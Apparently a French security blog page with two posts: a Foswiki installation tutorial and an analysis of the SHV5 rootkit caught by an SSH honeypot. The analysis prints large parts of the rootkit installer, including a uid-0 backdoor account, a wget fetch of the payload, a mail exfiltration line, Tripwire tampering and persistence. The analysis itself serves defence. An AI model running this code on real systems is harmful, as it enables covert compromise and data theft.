Nicolas SURRIBAS

Sécurité Informatique / Capture The Flag / Développement / Réseaux / PenTest

linux

Tutoriel : Mise en place de Foswiki sur openSUSE 12.2

Rédigé par devloop - -

Introduction

Dans le présent article nous allons voir comment mettre en place le logiciel de wiki Foswiki sur un système Linux openSUSE 12.2.

La version de Foswiki utilisée pour ce tutoriel est la 1.1.5. Les éditeurs de Foswiki comptent apporter différentes modifications à leur système pour la prochaine version, par conséquence si vous installez une version supérieure à la 1.1.5, référez vous d'abord aux release notes de la version concernée afin de vous lancer dans ce tutoriel.

La version d'openSUSE utilisée dans cet article est la 12.2 sur un système 32 bits. Le serveur web utilisé est un Apache 2.

Présentation de Foswiki

Foswiki est, comme son nom l'indique, un logiciel collaboratif d'édition d'articles (wiki) qui est libre et open-source (Free and Open Source).
Il est né d'un fork du système de wiki TWiki avec lequel il est resté compatible.

Plusieurs particularités de Foswiki en font un système intéressant à utiliser : il est gratuit, développé en Perl et Javascript et n'utilise pas de base de données par défaut (même si cela est semble t-il possible).

Il dispose d'un système de gestion de versions des articles qui se base sur GNU RCS, un système largement éprouvé dont la première version remonte à 1982.

Il inclut de base différents mécanismes de sécurité dont un wiki peut avoir besoin : gestion de droits avancés par ACL (notion de droits, de groupes et d'utilisateurs), systèmes anti-spam dont les captchas ou l'obfuscation des adresses emails, gestion de blacklist ou notion d'IPs autorisées, protection contre les attaques CSRF...
Il permet aussi de régler facilement la visibilité du wiki sur Internet pour empêcher par exemple l'indexation par les moteurs de recherche.

Il est extensible via de nombreux plugins, dispose d'un outil de recherche performant, un système de compression et de mise en cache des articles, la génération de statistiques et enfin il est multi-langue.

Installation des pré-requis

Dans le présent article nous allons procéder à l'installation de Foswiki 1.1.5 ainsi qu'à l'installation de tous les logiciels nécessaires à son fonctionnement. Cela inclut l'installation d'Apache 2, de RCS ainsi que différents modules Perl.

En fonction du système d'exploitation que vous utilisez, des logiciels déjà présents, etc, vous aurez sans doute à adapter quelque peu les étapes décrites ici.
Dans le cas d'une installation dite "minimale serveur" d'openSUSE (sans interface graphique), le MTA Exim nécessaire à l'envoi de mails est présent par défaut ce qui n'est peut-être pas le cas sur un système Debian.

Maintenant que vous êtes prêt, ouvrez un shell en tant qu'utilisateur root sur le système et installez les paquets suivants (21Mo au total) avec zypper :
zypper in apache2 apache2-mod_perl rcs perl-CGI-Session perl-HTML-Parser perl-HTML-Tree perl-URI perl-Digest-SHA1 perl-Authen-SASL gcc make
Les paquets gcc et make nous permettent de compiler les modules Perl supplémentaires via CPAN. Lancez ces deux commandes :
cpan -i Crypt::Eksblowfish::Bcrypt
Si vous lancez CPAN pour la première fois, plusieurs questions vous seront posées. Vous pouvez répondre yes à toutes les questions.
cpan -i Crypt::PasswdMD5

Activation d'Apache 2

Maintenant que la serveur web Apache est installé, nous allons faire en sorte qu'il soit prêt à accueillir Foswiki :
a2enmod status
a2enmod perl
a2enmod rewrite
systemctl enable apache2.service
systemctl start apache2.service
Notez que le module status n'est pas nécessaire mais très pratique pour s'assurer du bon fonctionnement du serveur.
Ouvrez votre navigateur préféré (ou w3m en ligne de commande) à l'adresse http://127.0.0.1/server-status/ afin de vérifier que le serveur est bien lancé.

Déploiement de Foswiki

Placez vous dans le dossier où vous souhaitez mettre Foswiki et téléchargez y l'archive de Foswiki depuis le site officiel.
Ici nous allons faire en sorte que le répertoire de base de Foswiki soit /srv/www/htdocs/wiki et qu'il soit accessible par l'url /wiki.
Une fois l'archive téléchargée, décompressez là :
tar zxvf Foswiki-1.1.5.tgz
mv Foswiki-1.1.5 wiki
cd wiki
On récupère ensuite l'extension permettant de faire tourner Foswiki avec mod_perl (plus performant qu'en CGI).
wget http://foswiki.org/pub/Extensions/ModPerlEngineContrib/ModPerlEngineContrib.tgz
tar zxvf ModPerlEngineContrib.tgz
On rectifie finalement les droits sur Foswiki afin que le serveur Apache puisse y accéder.
cd ..
chown -R wwwrun.www wiki

Configuration d'Apache 2

Maintenant nous devons indiquer à Apache comment il doit traiter les scripts présents dans Foswiki.
Cela comprend leur exécution par mod_perl ainsi que la redirection des URLs via mod_rewrite.

Heureusement pour nous, Foswiki a mis en place sur son site un générateur de configuration d'Apache.

Rendez-vous sur la page et remplissez le formulaire selon vos besoins.
Attention ! Si vous faites une erreur (même petite) dans la configuration, elle peut potentiellement s'avérer difficile à comprendre par la suite donc vérifiez à deux fois et si vous avez un doute référez vous à la documentation de Foswiki ou basez vous sur ma configuration qui est la suivante :
  • Hostname : opensuse.net
  • URL Path : /wiki
  • Short URLs enable
  • Runtime engine : mod_perl
  • user names that are allowed to access configure : admin
  • Login Manager : TemplateLogin
  • Location of .htpasswd file : /srv/www/htdocs/wiki/data/.htpasswd
  • Page to return when authentication fails : UserRegistration
Cochez aussi les deux recommandations anti-spam et cliquez sur Update config file pour obtenir votre fichier de configuration.
Enregistrez-le par exemple sous le nom foswiki_apache.conf et placez le dans /etc/apache2/vhosts.d (a2ensite n'est plus présent dans openSUSE 12.2). Si vous ne disposez pas de PHP sur votre système, retirez la ligne faisant référence à php_admin_flag sous peine d'avoir une erreur au lancement d'Apache.

Protéger le script configure

La page /wiki/bin/configure est le centre vital de Foswiki qui sera géré par l'administrateur. Il est important que l'on protège cette page par mot de passe comme on l'a sélectionné dans lors de la génération de la configuration d'Apache.

Définissez un mot de passe pour le compte admin avec cette commande (remplacez s3cr3t par le mot de passe de votre choix, choisissez le fort) :
htpasswd2 -cbm /srv/www/htdocs/wiki/data/.htpasswd admin s3cr3t

Configuration de base de Foswiki

Rendez-vous maintenant à l'adresse http://127.0.0.1:8080/wiki/.

Foswiki index

Cliquez sur Configure Foswiki et saisissez les identifiants pour notre compte admin.
Foswiki configure script
Vous devrez valider les chemins d'accès aux fichiers que Foswiki a deviné pour vous. N'hésitez pas à afficher les options expert ou à vous servir des infos-bulles.

Fowiki validate path

Quand vous avez bien tout vérifié, cochez la case Change password (normalement ça se déclenche même décoché la première fois) et cliquez sur Save changes.

Cette étape est primordiale car elle va permettre de générer le fichier lib/LocalSite.cfg qui contient votre configuration Foswiki et aussi de créer l'utilisateur AdminUser qui correspond au root dans les ACL de Foswiki.
A ce sujet, Foswiki dispose d'une fonctionnalité similaire à sudo qui permet de s'identifier temporairement comme AdminUser si vous êtes connecté avec un autre utilisateur, le temps de réaliser une opération privilégiée.

La validation de ces paramètres vous amènera à encore d'autres paramètres de configuration avec probablement des erreurs et des avertissements à corriger.
Rien de grave ! C'est normal à cette étape de la configuration. Prenez juste soin à remplir les champs demandés par Foswiki.
Menu de configuration Foswiki
Dans la section Security and Authentication, choisissez l'encodage bcrypt pour les mots de passe (on a installé le module via CPAN, autant en profiter) et cochez NeedVerification sous Registration.

Cela implique que nous configurions l'envoi de mails qui est demandé par Foswiki.
Entrez une adresse email qui servira d'expéditeur pour les mails de vérifications envoyés aux nouveaux inscrits.
Saisissez aussi les paramètres SMTP (serveur, username, password) correspondant à cette adresse email.
Sauvez les paramètres. Vous pouvez ensuite retourner dans cette section si vous voulez faire un test d'envoi de mail (un bouton est prévu à cet effet)

Mettez de côté pour le moment les paramètres de Tuning et d'Internationalisation : on a plus important à faire pour le moment.

Patcher Foswiki

La version 1.1.5 de Foswiki a un bug connu qui nous concerne malheureusement du moment où l'on souhaite utiliser une langue autre que l'anglais.
Si l'on ne patche pas ce bug, il sera impossible de sauvegarder les articles une fois passé Foswiki en français.

Ouvrez le fichier lib/Foswiki/UI/Manage.pm, allez à la ligne 508 et remplacez
eq 'Cancel'
par
ne ''
Et idem à la ligne 518, remplacez
eq 'Save'
par
ne ''
Sauvegardez le script. Attention le fichier est en lecture seule par défaut.

On va ensuite rectifier un autre bug qui est du à un changement dans le langage de programmation Perl.

Ouvrez le fichier lib/Foswiki/Search/InfoCache.pm et faites une recherche sur le mot length qui devrait vous amenez vers la ligne 249 qui correspond à cette instruction :
$this->{count} = length @{ $this->{list} };
remplacez simplement length par scalar et sauvez le fichier.

Bravo

Redémarrez le serveur Apache :
systemctl restart apache2.service
Rendez vous sur /wiki : Ça y est votre Foswiki est actif :)
Vous pouvez si vous le souhaiter retourner sur configure, section Internationalisation et remplacer en_US.ISO-8859-1 par fr_FR.ISO-8859-1.

En cas d'erreur vous trouverez des logs dans le dossier working/logs de Foswiki mais les plus intéressants seront peut-être les logs d'Apache.
Pensez aussi à surveiller les logs d'Exim.

Classé dans : Non classé - Mots clés : outils, linux

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Rédigé par devloop - -

Introduction

Le 19 juillet 2011, un nouvel intrus a fait irruption sur ce qu'il pensait être un système Unix faisant tourner un serveur SSH alors qu'il s'agissait en réalité du honeypot SSH, un outil destiné à leurrer les hackers, surveiller leurs activités et récupérer leurs scripts.

Le pirate n'est pas apparu par hasard sur la machine. Il a réalisé une attaque brute force sur le compte root du serveur SSH simulé par Kippo.
Sur cette journée j'ai eu deux attaques brute force concluantes : la première à 10h49 provenant de l'IP 84.14.252.138 et la seconde à 12h03 venant de 123.30.49.8.
Difficile de dire sur laquelle de ces attaques s'est basé le pirate puisqu'il a fait une connexion directe plus tard avec une IP différente : 174.36.18.156.

La première commande lancée sur le système a été "w" pour s'assurer qu'il était le seul connecté sur le serveur et que sa présence ne serait pas vue par un autre utilisateur.
Il a ensuite affiché le contenu du fichier /proc/cpuinfo pour obtenir des informations sur le système et lancé ifconfig pour afficher les interfaces réseau.
La commande wget a aussi été lancée sans arguments, juste pour vérifier que le programme était bien présent sur le système.

Pour empêcher l'historisation de sa session il a copié/collé la commande suivante :
unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST REMOTEUSER
Il s'est ensuite placé dans le dossier /var/tmp pour récupérer avec wget un fichier à l'adresse http://unixcrew.t35.com/rk.jpg.
Ce fichier à l'extension jpg est en réalité une archive tgz qui une fois décompressée génère un dossier .rc. contenant un fichier setup ainsi que d'autres archives tgz.

Le pirate ne prend pas plus de temps pour explorer le système et exécute immédiatement le script avec ./setup unixteam 1985.

SHV5 : Script d'installation

Le fichier setup est un script bash qui installe un rootkit bien connu de la famille des SHVx (ici SHV5). Du à la longueur du fichier, nous l'étudierons en plusieurs morceaux.
Première partie :

#!/bin/bash
#
# shv5-internal-release
# by: TheDemon
# PRIVATE ! DO NOT DISTRIBUTE BITCHEZ !

# BASIC DEFINES
DEFPASS=dacialogan
DEFPORT=7000
BASEDIR=`pwd`

# DON`T TOUCH BELOW UNLESS YOU KNOW WHAT U`R DOING !
# BEFORE WE MOVE ON LET`s WORK ON SAFE-GROUND !
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

# RAINBOW COLOURS :)
BLK='^[1;30m'
RED='^[1;31m'
GRN='^[1;32m'
YEL='^[1;33m'
BLU='^[1;34m'
MAG='^[1;35m'
CYN='^[1;36m'
WHI='^[1;37m'
DRED='^[0;31m'
DGRN='^[0;32m'
DYEL='^[0;33m'
DBLU='^[0;34m'
DMAG='^[0;35m'
DCYN='^[0;36m'
DWHI='^[0;37m'
RES='^[0m'

# HOPE U`R NO TRYING THIS FROM USER !
# HOWEVER LET`S SEE WHAT KINDA KID U ARE ?
if [ "$(whoami)" != "root" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}] ${WHI} BECOME ROOT AND TRY AGAIN ${RES}"
  echo ""
  exit
fi

# UNZIPING SHITS
tar zxf ./bin.tgz
tar zxf ./conf.tgz
tar zxf ./lib.tgz
tar zxf ./utilz.tgz
cd ./bin; tar zxf ./sshd.tgz
./a
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz

sleep 2

cd $BASEDIR

killall -9 syslogd >/dev/null 2>&1

startime=`date +%S`

echo "${DCYN}[${WHI}sh${DCYN}]# Installing shv5 ... this wont take long ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# If u think we will patch your holes shoot yourself !${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# so patch manualy and fuck off!  ${RES}"
echo ""
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
echo "${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\n\r\t - Do not use this version.\n\n${RES}"
echo "${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AAA  AAA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AA    AA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HHHHHH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR R    AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR RR   AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR  RR  AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${DCYN}#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@${RES}"
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
sleep 2

echo "${DCYN}[${WHI}sh${DCYN}]# backdooring started on ${WHI}`hostname -f`${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"

SYSLOGCONF="/etc/syslog.conf"

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for remote logging...  ${RES}"

REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`

if [ ! -z "$REMOTE" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}]# May Allah help us!${RES}"
  echo
  echo '${RED} REMOTE LOGGING DETECTED ${RES}'
  echo '${DCYN}[${WHI}sh${DCYN}]# I hope you can get to these other computer(s): ${RES}'
  echo
  for host in $REMOTE; do
    echo -n "            "
    echo $host
  done
  echo
  echo ' ${WHI} cuz this box is LOGGING to it... ${RES}'
  echo
  else
  echo " ${WHI} guess not.${RES}"
fi
Cette première partie constitue principalement la présentation du code. Si on cherche sur Internet une copie de ce script on remarque que le nom de l'auteur a été changé. Encore du plagiat.
Deux variables intéressantes sont définies. La première est un mot de passe "dacialogan" qui s'accorde bien avec la supposée nationalité (roumaine) des intrus. La seconde variable intéressante est un numéro de port : 7000.
Le programme désarchive ensuite des fichiers compressés aux noms explicites (bin pour les binaires, conf pour la configuration etc)
Un appel discret à un script baptisé "a" est fait. Voici le contenu du script en question :
password="alex1985"                                                                                                                                                                                                                
pass=$(perl -e 'print crypt($ARGV[0], "wtf")' $password)                                                                                                                                                                           
/usr/sbin/useradd -o -u 0 -g 0 -d /tmp -s /bin/bash -p $pass -f -1 pupacila
/sbin/ifconfig | grep inet | mail -s "inca un root" norocos@canadianbiotech.com
exit
On a ici un ajout automatique d'un compte utilisateur ainsi qu'une référence à une adresse email pour le moins suspects... Pour terminer, le setup analyse brièvement le fichier de configuration de syslog pour déterminer si les logs sont envoyés sur un serveur distant.

Voyons la suite du script :
#######################################################################
## CHEKING FOR MALICIOUS ADMIN TOOLS !(like tripwire, snort, etc...) ##
##                                                                   ##
#######################################################################

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire...  ${RES}"

uname=`uname -n`
twd=/var/lib/tripwire/$uname.twd

if [ -d /etc/tripwire ]; then
  echo "${WHI} ALERT: TRIPWIRE FOUND! ${RES}"

  if [ -f /var/lib/tripwire/$uname.twd ]; then
    chattr -isa $twd
    echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire-database... ${RES}"
    echo "${RED} ALERT! tripwire database found ${RES}"
    echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} dun worry we got handy-tricks for this :) ${RES}"
    echo "-----------------------------------------" > $twd
    echo "Tripwire segment-faulted !" >> $twd
    echo "-----------------------------------------" >> $twd
    echo "" >> $twd
    echo "The reasons for this may be: " >> $twd
    echo "" >> $twd
    echo "corrupted disc-geometry, possible bad disc-sectors" >> $twd
    echo "corrupted files while checking for possible change etc." >> $twd
    echo ""
    echo "pls. rerun tripwire to build the database again!" >> $twd
    echo "" >> $twd
  else
    echo "${WHI} lucky you: Tripwire database not found. ${RES}"
  fi
else
  echo "${WHI} guess not. ${RES}"
fi
Cette partie du script regarde si Tripwire, un outil de vérification d'intégrité des fichiers, est installé sur la machine. Le rootkit ne cherche pas à leurrer Tripwire car l'opération est délicate. D'autant plus que comme on le verra dans la suite de ce script setup, SHV5 est un rootkit qui fonctionne par remplacement des binaires sur le système donc moins évolué et facilement détectable comparé à un rootkit noyau.
Ici SHV5 insère dans la base de données de Tripwire un message d'erreur (probablement récupéré dans le code de Tripwire) destiné à faire croire l'administrateur du système que le disque dur a des secteurs défectueux.

Reprenons l'analyse du setup :
# restoring login
if [ -f /sbin/xlogin ]; then
  chattr -isa /sbin/xlogin
  chattr -isa /bin/login
  mv -f /sbin/xlogin /bin/login
  chmod 7455 /bin/login
  chattr +isa /bin/login
fi

echo "${DCYN}[${WHI}sh${DCYN}]# [Installing trojans....] ${BLU} ${RES}"

if [ -f /etc/sh.conf ]; then
  chattr -isa /etc/sh.conf
  rm -rf /etc/sh.conf
fi

# checking if we got needed libs and filez
if [ ! -f /lib/libproc.a ]; then
  mv lib/libproc.a /lib/
fi

if [ ! -f /lib/libproc.so.2.0.6 ]; then
  mv lib/libproc.so.2.0.6 /lib/
fi

/sbin/ldconfig >/dev/null 2>&1

#if [ -f /lib/libncurses.so.5 ]; then
#  echo ""
#else
#  ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi

if [ -f /.bash_history ]; then
  chattr -isa /.bash_history >/dev/null 2>&1
  rm -rf /.bash_history
fi

if [ -f /bin/.bash_history ]; then
  chattr -isa /bin/.bash_history
  rm -rf /bin/.bash_history
fi

if [ ! -f /usr/bin/md5sum ]; then
  touch -acmr /bin/ls bin/md5sum
  cp bin/md5sum /usr/bin/md5sum
fi
Plusieurs commandes ne semblent pas avoir de sens. La référence à un binaire nommé xlogin n'est pas retrouvée ensuite. Il peut s'agir d'une ligne laissé lors d'un changement de version ou un test oublié par l'auteur...
Le fichier /etc/sh.conf n'existe pas sur un système standard. Il s'agit d'un des fichiers qui est créé ensuite par le rootkit. Ce dernier fait donc le ménage avant de s'installer.
La librairie libproc est une librairie que l'on ne trouve plus sur les systèmes actuels mais qui à l'époque était utilisé par les binaires ps, top, pstree. Cela en faisait une cible privilégié des hackers car il suffisait de modifier cette librairie pour agir sur les résultats de plusieurs binaires à la fois.
La librairie ncurses est notamment utilisée par les programmes top et pstree.
La présence d'un fichier .bash_history sous la racine / ou dans le dossier /bin semble être un pur fruit de l'imagination de l'auteur. Il n'existe pas de tels fichiers à ces emplacements.
Enfin le script remplace le programme de hachage md5sum par le sien et lui donne pour date celles de /bin/ls. Il aurait été plus judicieux de copier celles du md5sum original !
if test -n "$1" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
  cd $BASEDIR/bin
  echo -n $1|md5sum > /etc/sh.conf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
  echo -n $DEFPASS|md5sum > /etc/sh.conf
fi

touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf
Dans les lignes ci-dessus, le programme place dans le fichier /etc/sh.conf le hash md5 d'un mot de passe choisi par l'utilisateur. S'il est passé par argument, il s'agira du premier argument passé au setup, sinon ce sera celui indiqué dans la source du setup que l'on a vu au début (dacialogan).
Dans notre cas on a vu que le pirate a passé la chaine unixteam au setup. Ce sera donc son mot de passe.
Des attributs spéciaux sont placés sur le fichier pour rendre difficile sa suppression par un administrateur ayant de faibles connaissances.
if test -n "$2" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
  echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$2
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
  echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$DEFPORT
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi

/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT
A l'instar du mot de passe, un port est défini à partir de la ligne de commande ou de la source. Dans notre cas ce sera 1985 et non 7000. On peut supposer que 1985 est la date de naissance de l'intrus...
Ce port est utilisé pour configurer un serveur SSH (fichier sshd_config). On remarque aussi que le numéro de port est placé dans le fichier hosts.h.
Le reste du fichier sshd_config est ensuite rempli par un fichier nommé shdcf2 qui contient les directives nécessaires pour que le serveur ssh fonctionne normalement.
Ces fichiers en rapport avec ssh sont extrait depuis une archive nommée sshd.tgz qui était elle même présente dans bin.tgz. Parmi ces fichiers on trouve la clé privée du serveur SSH. Il est fort à parier que les pirates utilisant ce rootkit ont laissé la clé d'origine sans chercher à en générer une eux même.

Le binaire baptisé sshd qui est présent dans l'archive n'est pas un serveur SSH traditionnel. D'abord il est compilé statiquement et fait 208Ko. Sur mon système, le sshd est compilé dynamiquement et fait 533Ko ! Il s'agit donc plus d'une backdoor sécurisée que d'un vrai serveur SSH.
Ajouté à ça un strings sur le binaire révèle très peu de choses. En fait on trouve uniquement les chaînes suivantes :
Linux
$Info: This file is the propert of SH-crew team designed for test
purposes. $
$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and
enjoy. $
Personnellement je n'utiliserais pas un binaire aussi suspect même si c'était pour pirater une machine.
if [ -f /lib/lidps1.so ]; then
  chattr -isa /lib/lidps1.so
  rm -rf /lib/lidps1.so
fi
Le fichier lidps1.so n'est pas une librairie. C'est un fichier texte qui semble contenir le nom de commandes / exécutables : ttyload, shsniff, shp, hide, burim, synscan, mirkforce, ttymon et sh2-power.
if [ -f /usr/include/hosts.h ]; then
  chattr -isa /usr/include/hosts.h
  rm -rf /usr/include/hosts.h
fi
Le fichier hosts.h contient des débuts d'adresse IP et des numéros de ports qui seront cachés par les versions modifiées de netstat et lsof (?).
Le contenu du fichier par défaut est le suivant :
2 212.110
2 195.26
2 194.143
2 62.220
2 193.231
3 2002
4 2002
3 6667
3 8080
4 8080
4 6667
On peut émettre l'hypothèse que le numéro qui précède sert à définir le type. 2 pour une adresse IP, 3 pour un port TCP, 4 pour un port UDP... C'est une idée.
if [ -f /usr/include/file.h ]; then
  chattr -isa /usr/include/file.h
  rm -rf /usr/include/file.h
fi
Le fichier file.h contiendra comme on s'en doute les fichiers à dissimuler sur le système.
Son contenu est le suivant :
sh.conf
libsh
.sh
system
shsb
libsh.so
ttylib
shp
shsniff
srd0
On retrouve bien sûr le fichier sh.conf et d'autres fichiers croisés précédemment. Ce qui est nouveau c'est le srd0 qui ressemble à un périphérique.
if [ -f /usr/include/log.h ]; then
  chattr -isa /usr/include/log.h
  rm -rf /usr/include/log.h
fi
Ce fichier contient les mots mirkforce, synscan et syslog...
if [ -f /usr/include/proc.h ]; then
  chattr -isa /usr/include/proc.h
  rm -rf /usr/include/proc.h
fi
Ce fichier contient tout les noms de processus qui devront être dissimulés aux yeux des utilisateurs du système.
Étudions la suite du setup :
cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/

# Ok lets start creating dirs
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh

if [ -d /lib/libsh.so ]; then
  chattr -isa /lib/libsh.so
  chattr -isa /lib/libsh.so/*
  rm -rf /lib/libsh.so
fi

if [ -d /usr/lib/libsh ]; then
  chattr -isa /usr/lib/libsh
  chattr -isa /usr/lib/libsh/*
  rm -rf /usr/lib/libsh/*
fi

mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR

cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR

[coupé]

cp /bin/bash $SSHDIR
Par souci de lisibilité j'ai retiré certaines lignes. Le script place ses binaires dans les dossiers /usr/lib/libssh et /lib/libsh.so. Ces dossiers étant hardcodés il est aisé pour un administrateur ou un outil de sécurité de vérifier leur présence même si les binaires ont été modifiés.
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1
cat /tmp/.init2 >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# modem getty." >> /tmp/.init1
echo "# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# fax getty (hylafax)" >> /tmp/.init1
echo "# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# vbox (voice box) getty" >> /tmp/.init1
echo "# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6" >> /tmp/.init1
echo "# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# end of /etc/inittab" >> /tmp/.init1

echo "/sbin/ttyload -q >/dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/ttylib >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload
echo "iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload

touch -acmr /bin/ls /usr/sbin/ttyload
chmod +x /usr/sbin/ttyload
chattr +isa /usr/sbin/ttyload
/usr/sbin/ttyload >/dev/null 2>&1

touch -amcr /etc/inittab /tmp/.init1
mv -f /tmp/.init1 /etc/inittab
rm -rf /tmp/.init2

# MAKING SURE WE GOT IT BACKDORED RIGHT !
if [ ! "`grep ttyload /etc/inittab`" ]; then
  echo "${RED}[${WHI}sh${RED}]# WARNING - SSHD WONT BE RELOADED UPON RESTART"
  echo "${RED}[${WHI}sh${RED}]# inittab shuffling probly fucked-up !"
fi
Le setup créé un fichier /usr/sbin/ttyload qui sera chargé par init par le biais de inittab. On remarque que des lignes inutiles (car commentées) sont aussi insérées... Probablement pour essayer de noyer le poisson.
Il ouvre aussi l'accès au port choisi par le pirate par le biais de iptables. Comme expliqué sur une autre analyse ce n'est pas forcément effectif : le firewall n'est pas forcément sur la même machine.
# Say hello to md5sum fixer boys n gurls !
if [ -f /sbin/ifconfig ]; then
  /usr/bin/md5sum /sbin/ifconfig >> .shmd5
fi
if [ -f /bin/ps ]; then
  /usr/bin/md5sum /bin/ps >> .shmd5
fi
if [ -f /bin/ls ]; then
  /usr/bin/md5sum /bin/ls >> .shmd5
fi

[coupé]

if [ -f /usr/bin/md5sum ]; then
  /usr/bin/md5sum /usr/bin/md5sum >> .shmd5
fi
Bonjour md5 fixer ! :D
md5sum fait partie des fichiers backdoorés. Le rôle de la backdoor est de retourner une fausse somme de contrôle md5 qui rassurera l'administrateur. Pour cela il faut stocker les md5 des binaires originaux pour les retourner plus tard. C'est à ça que sert le fichier .shmd5 que l'on voit ici.
On notera que si md5sum est backdooré, ce n'est pas le cas de sha1sum...
if [ ! -f /dev/srd0 ]; then
  ./encrypt -e .shmd5 /dev/srd0
  touch -acmr /bin/ls /dev/srd0
  chattr a+r /dev/srd0
  chown -f root:root /dev/srd0
fi

rm -rf .shmd5
On trouve ici notre fichier srd0 qui est effectivement créé dans /dev. Il est généré depuis le fichier de signatures .shmd5 par le binaire encrypt.
Je ne peux pas dire grand chose sur ce binaire si ce n'est que AVG le détecte comme Linux/Agent2.V, qu'il pèse 15Ko, qu'il est compilé dynamiquement et strippé.
On trouve les chaines "Encrypt / Decrypt tool", "for all files !" et "syntx:". Il prend l'option -e pour chiffrer et -d pour déchiffrer.
Un nm -D lancé sur le binaire révèle qu'il n'utilise que des fonctions de base (fopen, fgets, strncpy, memcpy etc). Sans étude plus poussée impossible de dire quel algorithme est utilisé toutefois le fichier généré ne doit pas être du type périphérique ce qui rend sa présence dans /dev suspecte. C'est pour cela que les autres binaires cherchent à le cacher.
# time change bitch

touch -acmr /sbin/ifconfig ifconfig >/dev/null 2>&1
touch -acmr /bin/ps ps >/dev/null 2>&1
touch -acmr /usr/bin/md5sum md5sum >/dev/null 2>&1
md5sum="norocos@canadianbiotech.com"
C'est explicite : on recopie les dates des binaires originaux pour passer inaperçu. Je n'ai pas mis toutes les lignes. Cette fois il repasse sur le md5sum. On relève l'adresse email.
# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
